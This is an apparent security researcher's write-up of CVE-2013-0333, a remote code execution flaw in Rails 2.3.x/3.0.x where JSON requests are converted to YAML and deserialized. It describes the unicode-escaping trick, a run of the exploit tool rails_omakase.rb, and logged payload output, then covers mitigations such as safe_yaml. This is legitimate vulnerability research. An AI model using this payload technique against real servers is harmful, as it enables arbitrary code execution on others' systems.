TL;DR: Same YAML vulnerability, different code-path.

Hot on the heels of CVE-2013-0156, CVE-2013-0333 was announced. A code-path was discovered that allows text/json requests to be translated into and parsed as YAML. This behavior only exists in Rails 2.3.x and 3.0.x.

This exploit uses the same YAML deserialization technique as the previous Rails PoC exploit. Please see the previous write-up for a detailed explanation of how to achieve Remote Code Execution (RCE) via YAML.load.

ActiveSupport::JSON

In Rails 3.0.x, ActiveSupport::JSON acts as a proxy to various JSON parsing libraries. By default Rails 3.0.x provides the JSONGem, Yajl and Yaml backends. JSONGem uses the json gem, Yajl uses the high-performance yajl JSON parser, and Yaml attempts to translate JSON into YAML before passing it to YAML.load. Oddly enough, Yaml (and not JSONGem) is the default JSON backend in Rails 3.0.x:

ActiveSupport::JSON.backend
# => ActiveSupport::JSON::Backends::Yaml

The problem with the Yaml backend is that it’s convert_json_to_yaml method is incredibly naive. The method uses StringScanner to walk through the JSON string, replacing JSON tokens with their YAML equivalents. The method does not fully parse the JSON in order to emit proper YAML, nor does it validate that the input is actually valid JSON. This is our opening.

However, convert_json_to_yaml does replace all : characters with : , in an attempt to convert JSON Hashes into YAML Hashes. This will corrupt our YAML tags:

yaml = "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection"
ActiveSupport::JSON::Backends::Yaml.send(:convert_json_to_yaml,yaml)
# => "--- !ruby/hash: ActionController: : Routing: : RouteSet: : NamedRouteCollection"

Luckily, convert_json_to_yaml also parses JSON unicode-escaped characters:

ActiveSupport::JSON::Backends::Yaml.send(:convert_json_to_yaml,yaml.gsub(':','\u003a'))
# => "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection"

Now to get the YAML payload from rails_rce.rb executing. The module_evaled code in ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access was similar to that of Rails 2.8.x, and was changed in Rails 3.1.x. Due to this difference, we simply reused the Rails 2.x payload from the rails_rce.rb exploit.

After some minor modifications to rails_rce.rb we had a working exploit:

$ rails_omakase http://localhost:3000/secrets "puts 'lol'"

lol

Started POST "/secrets" for 127.0.0.1 at 2013-01-28 18:53:18 -0800
  Processing by SecretsController#show as 
  Parameters: {"_json"=>#<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0x00000002221080 @routes={:"foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n"=>#<struct defaults={:action=>"create", :controller=>"foos"}, required_parts=[], requirements={:action=>"create", :controller=>"foos"}, segment_keys=[:format]>}, @helpers=[:"hash_for_foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_url", :"foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_url", :"hash_for_foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_path", :"foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_path"], @module=#<Module:0x00000002220fb8>>}
Rendered text template (0.0ms)
Completed 200 OK in 2ms (Views: 1.4ms | ActiveRecord: 0.0ms)

Again?

When Rails was updated for CVE-2013-0156, it did not actually fix the underlying root cause, that the Psych YAML parser does not have a safe-mode. As long as developers continue allowing user-input near YAML.load, and there is no safe-mode to prevent YAML from deserializing arbitrary Classes, YAML deserialization vulnerabilities will continue to pop up. In the meantime, there is a safe_yaml library, which provides a safe-mode and does prevent rails_omakase.rb from working:

Started POST "/secrets" for 127.0.0.1 at 2013-01-28 21:34:37 -0800
  Processing by SecretsController#show as 
  Parameters: {"foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n"=>{"defaults"=>{":action"=>"create", ":controller"=>"foos"}, "required_parts"=>nil, "requirements"=>{":action"=>"create", ":controller"=>"foos"}, "segment_keys"=>[":format"]}}
Rendered text template (0.0ms)
Completed 200 OK in 2ms (Views: 1.2ms | ActiveRecord: 0.0ms)

Update: @nelhage has also written a monkey-patch for YAML, that prevents any non-primitive objects from being deserialized. I have tested this workaround against rails_omakase.rb on Ruby 1.9.3-p362 and Rails 3.0.19, and can confirm it prevents the exploit from working. However, once loaded it effects all YAML.load calls and cannot be disabled.

Omakase?

I named this exploit rails_omakase.rb, as an ode to Rails Is Omakase; I highly recommend the dramatic reading. In the blog post, David Heinemeier Hansson (DHH) discusses the criticism Rails Core has received over their changes to default settings. His main complaint is that merely complaining about the changes, and not contributing code, does not improve the development process of Rails.

This vulnerability was the result of changing the default JSON backend from JSONGem to Yaml. Additionally, it is unclear why anyone would ever consider attempting to convert JSON into YAML, without fully parsing it first. Like wise, CVE-2013-0156 is equally perplexing, who could possibly think any good would come from embedding YAML in XML?

Despite DHH’s reassurance that Rails Core has the best of intentions when they change default settings, they can and do make mistakes.

If Ronin interests you or you like the work we do, consider donating to Ronin on GitHub, Patreon, or Open Collective so we can continue building high-quality free and Open Source security tools and Ruby libraries.